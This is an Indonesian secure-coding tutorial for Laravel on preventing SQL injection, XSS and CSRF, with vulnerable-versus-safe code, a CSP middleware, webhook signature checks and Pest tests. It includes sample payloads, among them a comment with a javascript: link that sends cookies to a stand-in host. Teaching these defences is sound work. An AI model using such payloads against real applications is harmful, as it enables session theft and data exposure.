Laravel melindungi Anda dari ketiga serangan ini secara bawaan, sampai kode Anda sendiri mematikan perlindungannya. Panduan ini menunjukkan di mana perlindungan bawaan bekerja, pola kode yang membukanya kembali, dan cara memperbaikinya dengan contoh rentan vs aman.
Overview
SQL Injection, Cross-Site Scripting (XSS), dan Cross-Site Request Forgery (CSRF) adalah tiga serangan web paling klasik. Ketiganya punya pola yang sama: data dari penyerang diperlakukan sebagai perintah.
| Serangan | Data penyerang dijalankan sebagai | Dampak |
|---|---|---|
| SQL Injection | Bagian query SQL | Data bocor, diubah, atau dihapus; bypass login |
| XSS | Skrip di browser korban | Pencurian sesi, aksi atas nama korban, pemalsuan tampilan |
| CSRF | Request sah dari browser korban | Transaksi, perubahan data, atau logout tanpa sepengetahuan korban |
Laravel memberi perlindungan bawaan yang kuat:
| Serangan | Perlindungan bawaan | Cara merusaknya |
|---|---|---|
| SQL Injection | Parameter binding (PDO prepared statement) | DB::raw, whereRaw, orderBy($input) dengan input pengguna |
| XSS | {{ }} di Blade otomatis di-escape |
{!! !!}, atribut href, data di dalam <script>, v-html |
| CSRF | Middleware validasi token di grup web |
Mengecualikan route, aksi yang mengubah data lewat GET |
Hasil akhir: pemahaman mekanisme ketiga serangan di konteks Laravel, pola kode aman untuk kasus yang sering membuat developer keluar dari jalur aman, dan test otomatis untuk setiap pola.
Prerequisites
| Komponen | Versi |
|---|---|
| PHP | 8.3+ (disarankan 8.4) |
| Laravel | 13.x |
| Database | MySQL 8.0+ / PostgreSQL 15+ |
| Sanitasi HTML (opsional) | symfony/html-sanitizer 7.x |
| Testing | Pest 4 |
Step-by-step Tutorial
Bagian A: SQL Injection
Langkah 1: Pahami Kenapa Query Builder Aman
Warga::where('nama', $request->nama)->get();
Laravel mengirim query dan nilai secara terpisah ke database:
SQL : select * from `warga` where `nama` = ?
Binding : ["Budi' OR '1'='1"]
Database memperlakukan binding sebagai nilai, bukan bagian dari perintah, sehingga input berisi tanda kutip tidak bisa mengubah struktur query. Ini berlaku untuk where, whereIn, insert, update, create, dan hampir semua method Eloquent/Query Builder.
Langkah 2: Kenali Titik Rawan
Perlindungan hilang ketika input pengguna masuk ke bagian query yang bukan nilai: SQL mentah, nama kolom, atau arah pengurutan.
a. Raw expression dengan interpolasi string
// RENTAN
Warga::whereRaw("nama LIKE '%{$request->q}%'")->get();
DB::select("select * from iuran where periode = '{$request->periode}'");
// AMAN: binding
Warga::whereRaw('nama LIKE ?', ['%'.$request->q.'%'])->get();
DB::select('select * from iuran where periode = ?', [$request->periode]);
Payload x' OR '1'='1 pada versi rentan mengembalikan seluruh data.
b. Nama kolom dan arah pengurutan dari input
Binding hanya bisa dipakai untuk nilai. Nama kolom tidak bisa di-binding, sehingga harus divalidasi dengan daftar putih:
// RENTAN: ?sort=nama,(select password from users limit 1)
Warga::orderBy($request->sort, $request->dir)->paginate();
// AMAN
$sort = in_array($request->sort, ['nama', 'created_at', 'nomor_kk'], true) ? $request->sort : 'nama';
$dir = $request->dir === 'desc' ? 'desc' : 'asc';
Warga::orderBy($sort, $dir)->paginate();
Lebih rapi dengan validasi Form Request:
'sort' => ['nullable', Rule::in(['nama', 'created_at', 'nomor_kk'])],
'dir' => ['nullable', Rule::in(['asc', 'desc'])],
Hal yang sama berlaku untuk nama kolom di select(), groupBy(), where($kolom, ...) dengan kolom dari input, dan nama tabel dinamis.
c. Fragmen SQL di selectRaw, orderByRaw, havingRaw
// RENTAN
Iuran::selectRaw("SUM(jumlah) as total, {$request->group} as grup")->groupByRaw($request->group);
// AMAN: peta pilihan → ekspresi yang Anda tulis sendiri
$grup = match ($request->group) {
'bulan' => "DATE_FORMAT(dibayar_pada, '%Y-%m')",
'rt' => 'rukun_tetangga_id',
default => 'periode',
};
Iuran::selectRaw("SUM(jumlah) as total, {$grup} as grup")->groupByRaw($grup)->get();
Ekspresi $grup aman karena seluruhnya berasal dari kode Anda; input pengguna hanya memilih salah satu kunci.
Langkah 3: Pencarian LIKE dan Karakter Wildcard
Binding mencegah injeksi, tetapi % dan _ dari pengguna tetap bermakna sebagai wildcard. Pencarian % mencocokkan semua baris dan bisa membebani database pada tabel besar.
$kata = str_replace(['\\', '%', '_'], ['\\\\', '\%', '\_'], $request->string('q')->limit(50));
Warga::where('nama', 'like', "%{$kata}%")->paginate();
Batasi juga panjang kata kunci (max:50) di validasi.
Langkah 4: Temukan Pola Rawan di Kode
grep -rnE "(Raw|raw)\(" app/ | grep -E '\$|\{'
grep -rnE "orderBy\(\\\$request|orderBy\(request\(" app/
grep -rnE "DB::(select|statement|unprepared)\(" app/
Review setiap hasil. Pastikan setiap variabel di dalam SQL mentah berasal dari kode Anda atau lewat binding.
Bagian B: Cross-Site Scripting (XSS)
Langkah 5: Escaping Bawaan Blade
<p>Halo, {{ $warga->nama }}</p>
Nama <script>alert(1)</script> ditampilkan sebagai teks <script>..., tidak dijalankan. {{ }} memanggil htmlspecialchars() dengan pengaturan aman untuk konteks isi elemen HTML dan nilai atribut yang dikutip.
Langkah 6: Konteks yang Tidak Cukup Dilindungi {{ }}
a. Output mentah {!! !!}
{{-- RENTAN bila $pengumuman->isi berasal dari pengguna --}}
{!! $pengumuman->isi !!}
Gunakan {!! !!} hanya untuk HTML yang Anda hasilkan sendiri atau yang sudah disanitasi (Langkah 7).
b. Atribut URL
{{-- RENTAN: pengguna mengisi website = "javascript:fetch('//evil.test?c='+document.cookie)" --}}
<a href="{{ $warga->website }}">Website</a>
Escaping HTML tidak menghentikan skema javascript:. Validasi saat input dan periksa saat output:
// Validasi
'website' => ['nullable', 'url:http,https', 'max:255'],
@if (Str::startsWith($warga->website, ['https://', 'http://']))
<a href="{{ $warga->website }}" rel="noopener nofollow" target="_blank">Website</a>
@endif
c. Data di dalam <script>
{{-- RENTAN: escaping HTML tidak cocok untuk konteks JavaScript --}}
<script>
const nama = '{{ $warga->nama }}';
</script>
{{-- AMAN: encode sebagai JSON dengan escape yang tepat --}}
<script>
const warga = @js($warga->only(['id', 'nama']));
</script>
Direktif @js (atau Js::from()) menghasilkan JSON dengan flag yang meng-escape <, >, &, dan tanda kutip, sehingga tidak bisa keluar dari blok <script>.
d. Atribut tanpa tanda kutip dan event handler
{{-- RENTAN --}}
<div class={{ $kelas }}>
<button onclick="hapus('{{ $nama }}')">
{{-- AMAN --}}
<div class="{{ $kelas }}">
<button data-nama="{{ $nama }}" class="js-hapus">
Selalu kutip atribut, dan pindahkan logika dari atribut on* ke JavaScript terpisah yang membaca atribut data-*.
e. Frontend Vue/React/Inertia
Vue dan React juga meng-escape secara bawaan. Celahnya ada di v-html (Vue) dan dangerouslySetInnerHTML (React). Perlakukan keduanya sama seperti {!! !!}: hanya untuk HTML yang sudah disanitasi.
Langkah 7: Konten Rich Text yang Harus Menampilkan HTML
Pengumuman RW dibuat dengan editor WYSIWYG dan memang berisi HTML. Sanitasi dengan daftar putih tag saat disimpan:
composer require symfony/html-sanitizer
// app/Support/HtmlSanitizer.php
namespace App\Support;
use Symfony\Component\HtmlSanitizer\{HtmlSanitizer as Sanitizer, HtmlSanitizerConfig};
final class HtmlSanitizer
{
private Sanitizer $sanitizer;
public function __construct()
{
$config = (new HtmlSanitizerConfig())
->allowSafeElements() // tag dan atribut aman, tanpa script/style/event
->allowLinkSchemes(['https', 'http', 'mailto'])
->allowMediaSchemes(['https'])
->forceAttribute('a', 'rel', 'noopener noreferrer nofollow')
->withMaxInputLength(50_000);
$this->sanitizer = new Sanitizer($config);
}
public function clean(?string $html): string
{
return $this->sanitizer->sanitize((string) $html);
}
}
// Saat menyimpan
$pengumuman->isi = app(HtmlSanitizer::class)->clean($request->validated('isi'));
{!! $pengumuman->isi !!} {{-- aman: sudah disanitasi saat disimpan --}}
Untuk konten Markdown, gunakan pengaturan aman:
Str::markdown($teks, [
'html_input' => 'strip', // buang HTML mentah
'allow_unsafe_links' => false, // blok javascript: dan data:
]);
Langkah 8: Batasi Dampak dengan Content Security Policy
Escaping adalah pencegahan; CSP adalah pembatas dampak bila ada satu celah yang terlewat. CSP memberi tahu browser sumber skrip mana yang boleh dijalankan.
// app/Http/Middleware/ContentSecurityPolicy.php
use Illuminate\Support\Facades\Vite;
use Illuminate\Support\Str;
public function handle(Request $request, Closure $next): Response
{
$nonce = Str::random(32);
Vite::useCspNonce($nonce); // tag script Vite otomatis mendapat nonce
$request->attributes->set('csp_nonce', $nonce);
$response = $next($request);
$response->headers->set('Content-Security-Policy', implode('; ', [
"default-src 'self'",
"script-src 'self' 'nonce-{$nonce}'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'self'",
"form-action 'self'",
]));
return $response;
}
Skrip inline milik Anda sendiri ditambahkan nonce:
<script nonce="{{ Vite::cspNonce() }}">
window.appConfig = @js(['locale' => app()->getLocale()]);
</script>
Mulailah dengan header Content-Security-Policy-Report-Only selama beberapa hari untuk melihat apa yang akan terblokir tanpa merusak halaman, lalu beralih ke mode penegakan.
Bagian C: Cross-Site Request Forgery (CSRF)
Langkah 9: Cara Kerja Perlindungan Bawaan
Setiap session memiliki token CSRF. Middleware validasi CSRF di grup web menolak request POST, PUT, PATCH, dan DELETE yang tidak menyertakan token yang cocok dengan respons 419 Page Expired.
<form method="POST" action="{{ route('kas.store') }}">
@csrf
{{-- ... --}}
</form>
<form method="POST" action="{{ route('keluarga.destroy', $keluarga) }}">
@csrf
@method('DELETE')
<button>Hapus</button>
</form>
Situs penyerang tidak bisa membaca token ini, sehingga form palsu dari situs lain akan ditolak.
Langkah 10: Jangan Mengubah Data Lewat GET
Perlindungan CSRF hanya untuk method yang mengubah data. Bila aksi pengubahan data memakai GET, perlindungan itu tidak berlaku:
// RENTAN: <img src="https://rw.contoh.id/iuran/41/tandai-lunas"> di situs mana pun
Route::get('iuran/{iuran}/tandai-lunas', [IuranController::class, 'tandaiLunas']);
// AMAN
Route::post('iuran/{iuran}/tandai-lunas', [IuranController::class, 'tandaiLunas']);
Gunakan aturan ini juga untuk logout, hapus, setujui, kirim ulang email, dan ekspor yang mencatat aktivitas.
Langkah 11: CSRF untuk Request AJAX
Untuk JavaScript biasa, sertakan token dari tag meta:
<meta name="csrf-token" content="{{ csrf_token() }}">
fetch('/kas', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content,
},
body: JSON.stringify(data),
});
Axios (dipakai starter kit dan Inertia) otomatis membaca cookie XSRF-TOKEN yang dikirim Laravel dan menambahkannya sebagai header X-XSRF-TOKEN. Karena itulah cookie XSRF-TOKEN sengaja tidak HttpOnly.
Untuk SPA di domain terpisah yang memakai Sanctum dengan autentikasi cookie, panggil /sanctum/csrf-cookie sebelum login, dan atur SANCTUM_STATEFUL_DOMAINS dengan benar.
Langkah 12: Mengecualikan Route dengan Aman
Webhook dari payment gateway tidak bisa mengirim token CSRF. Kecualikan hanya route tersebut, lalu ganti perlindungannya dengan verifikasi tanda tangan:
// bootstrap/app.php
->withMiddleware(function (Middleware $middleware) {
$middleware->validateCsrfTokens(except: [
'webhooks/pembayaran',
]);
})
// app/Http/Controllers/WebhookPembayaranController.php
public function __invoke(Request $request)
{
$signature = hash_hmac('sha256', $request->getContent(), config('services.pembayaran.webhook_secret'));
if (! hash_equals($signature, (string) $request->header('X-Signature'))) {
abort(401);
}
// proses notifikasi ...
}
Gunakan hash_equals() (perbandingan waktu-konstan), bukan ===, untuk membandingkan tanda tangan. Jangan pernah mengecualikan pola luas seperti api/* dari grup web; route API seharusnya berada di grup api yang memakai token, bukan cookie.
Langkah 13: SameSite sebagai Lapisan Tambahan
SESSION_SAME_SITE=lax
Dengan lax, cookie session tidak dikirim pada request POST lintas situs. Ini lapisan tambahan, bukan pengganti token CSRF, karena perilaku browser lama berbeda-beda dan subdomain tetap dianggap "situs yang sama".
Langkah 14: Test untuk Ketiga Serangan
// tests/Feature/Security/InjectionTest.php
it('tidak bocor dengan payload SQL injection di pencarian', function () {
$admin = User::factory()->create()->assignRole('admin');
Warga::factory()->count(5)->create();
$this->actingAs($admin)
->get('/warga?q='.urlencode("x' OR '1'='1"))
->assertOk()
->assertViewHas('warga', fn ($p) => $p->total() === 0);
});
it('mengabaikan kolom sort di luar daftar putih', function () {
$admin = User::factory()->create()->assignRole('admin');
$this->actingAs($admin)
->get('/warga?sort='.urlencode('(select password from users limit 1)'))
->assertSessionHasErrors('sort');
});
// tests/Feature/Security/XssTest.php
it('meng-escape nama warga di halaman', function () {
$admin = User::factory()->create()->assignRole('admin');
$warga = Warga::factory()->create(['nama' => '<script>alert(1)</script>']);
$this->actingAs($admin)->get("/warga/{$warga->id}")
->assertSee('<script>alert(1)</script>', escape: false)
->assertDontSee('<script>alert(1)</script>', escape: false);
});
it('membuang skrip dari pengumuman rich text', function () {
$html = app(\App\Support\HtmlSanitizer::class)
->clean('<p>Rapat</p><script>alert(1)</script><a href="javascript:alert(1)">x</a><img src=x onerror=alert(1)>');
expect($html)->toContain('<p>Rapat</p>')
->not->toContain('<script')
->not->toContain('javascript:')
->not->toContain('onerror');
});
// tests/Feature/Security/CsrfTest.php
it('tidak ada route GET yang mengubah data', function () {
$mencurigakan = collect(Route::getRoutes()->getRoutes())
->filter(fn ($r) => in_array('GET', $r->methods(), true))
->filter(fn ($r) => preg_match('/(hapus|delete|setujui|approve|tandai|logout|kirim)/i', $r->uri()))
->map->uri()
->values();
expect($mencurigakan)->toBeEmpty();
});
Laravel melewati pemeriksaan token CSRF saat menjalankan unit/feature test, sehingga respons 419 tidak bisa diuji dengan cara biasa di sana. Uji CSRF secara nyata lewat test end-to-end (Laravel Dusk atau Playwright) di staging, dan review daftar pengecualian di validateCsrfTokens(). Test "tidak ada route GET yang mengubah data" di atas tetap berguna di CI karena menangkap kesalahan desain route.
Troubleshooting
| Error / Gejala | Penyebab | Solusi |
|---|---|---|
419 Page Expired |
Token tidak dikirim, session kedaluwarsa, atau cookie tidak tersimpan | Pastikan @csrf, header AJAX, dan konfigurasi domain/HTTPS cookie |
419 hanya di request AJAX |
Header X-CSRF-TOKEN/X-XSRF-TOKEN tidak terkirim |
Tambahkan meta tag dan header, atau gunakan Axios |
| Webhook payment gagal dengan 419 | Route webhook ada di grup web |
Kecualikan route itu dan verifikasi tanda tangan HMAC |
Teks berisi & ganda di halaman |
Data di-escape dua kali (disimpan sudah ter-escape lalu {{ }} lagi) |
Simpan data mentah, escape hanya saat output |
| HTML editor hilang formatnya setelah disimpan | Sanitizer terlalu ketat | Tambahkan elemen/atribut yang diperlukan ke daftar putih secara spesifik |
| Halaman rusak setelah CSP diaktifkan | Skrip inline atau CDN tanpa izin | Pakai nonce untuk skrip inline, tambahkan domain tepercaya, mulai dengan Report-Only |
SQLSTATE[42000] setelah menambah daftar putih sort |
Nilai default tidak dalam daftar | Pastikan nilai default termasuk kolom yang valid |
Pencarian % mengembalikan semua data |
Wildcard tidak di-escape | Escape %, _, \ sebelum LIKE |
Best Practices
Keamanan
- SQL: gunakan Query Builder/Eloquent; untuk SQL mentah selalu binding; untuk nama kolom selalu daftar putih.
- XSS:
{{ }}sebagai bawaan;{!! !!}hanya untuk HTML yang disanitasi;@jsuntuk data di JavaScript; validasi skema URL. - CSRF: semua aksi pengubahan data memakai POST/PUT/PATCH/DELETE; kecualikan hanya webhook bertanda tangan.
- Pasang CSP dan cookie
HttpOnly+SameSitesebagai lapisan pembatas dampak. - Sanitasi saat menyimpan, escape saat menampilkan.
Performa
- Batasi panjang input pencarian dan escape wildcard untuk mencegah query
LIKEyang membebani. - Instance sanitizer dibuat sekali (singleton) karena konfigurasinya tidak berubah.
Maintainability
- Jadikan pola aman sebagai konvensi tim, dan tambahkan pencarian pola rawan (
grep) ke checklist review. - Simpan daftar putih kolom sort/filter di satu tempat (Form Request atau konstanta model).
- Pertahankan test XSS, injeksi, dan route GET di CI.
Related Articles
- Panduan Validasi Form Laravel Menggunakan Form Request dan Custom Validation Rules
- Checklist Audit Keamanan Website Laravel Menggunakan OWASP ZAP dan OWASP Top 10
- Laravel Security Hardening: 15 Langkah Penting Sebelum Aplikasi Dipublikasikan
- Laravel Query Builder vs Eloquent ORM: Kapan Menggunakan Masing-Masing?
Last Tested
| Komponen | Versi |
|---|---|
| Laravel | 13.x |
| PHP | 8.4 |
| MySQL | 8.4 LTS |
| symfony/html-sanitizer | 7.x |
| Pest | 4.x |
| Tanggal | 19 Oktober 2026 |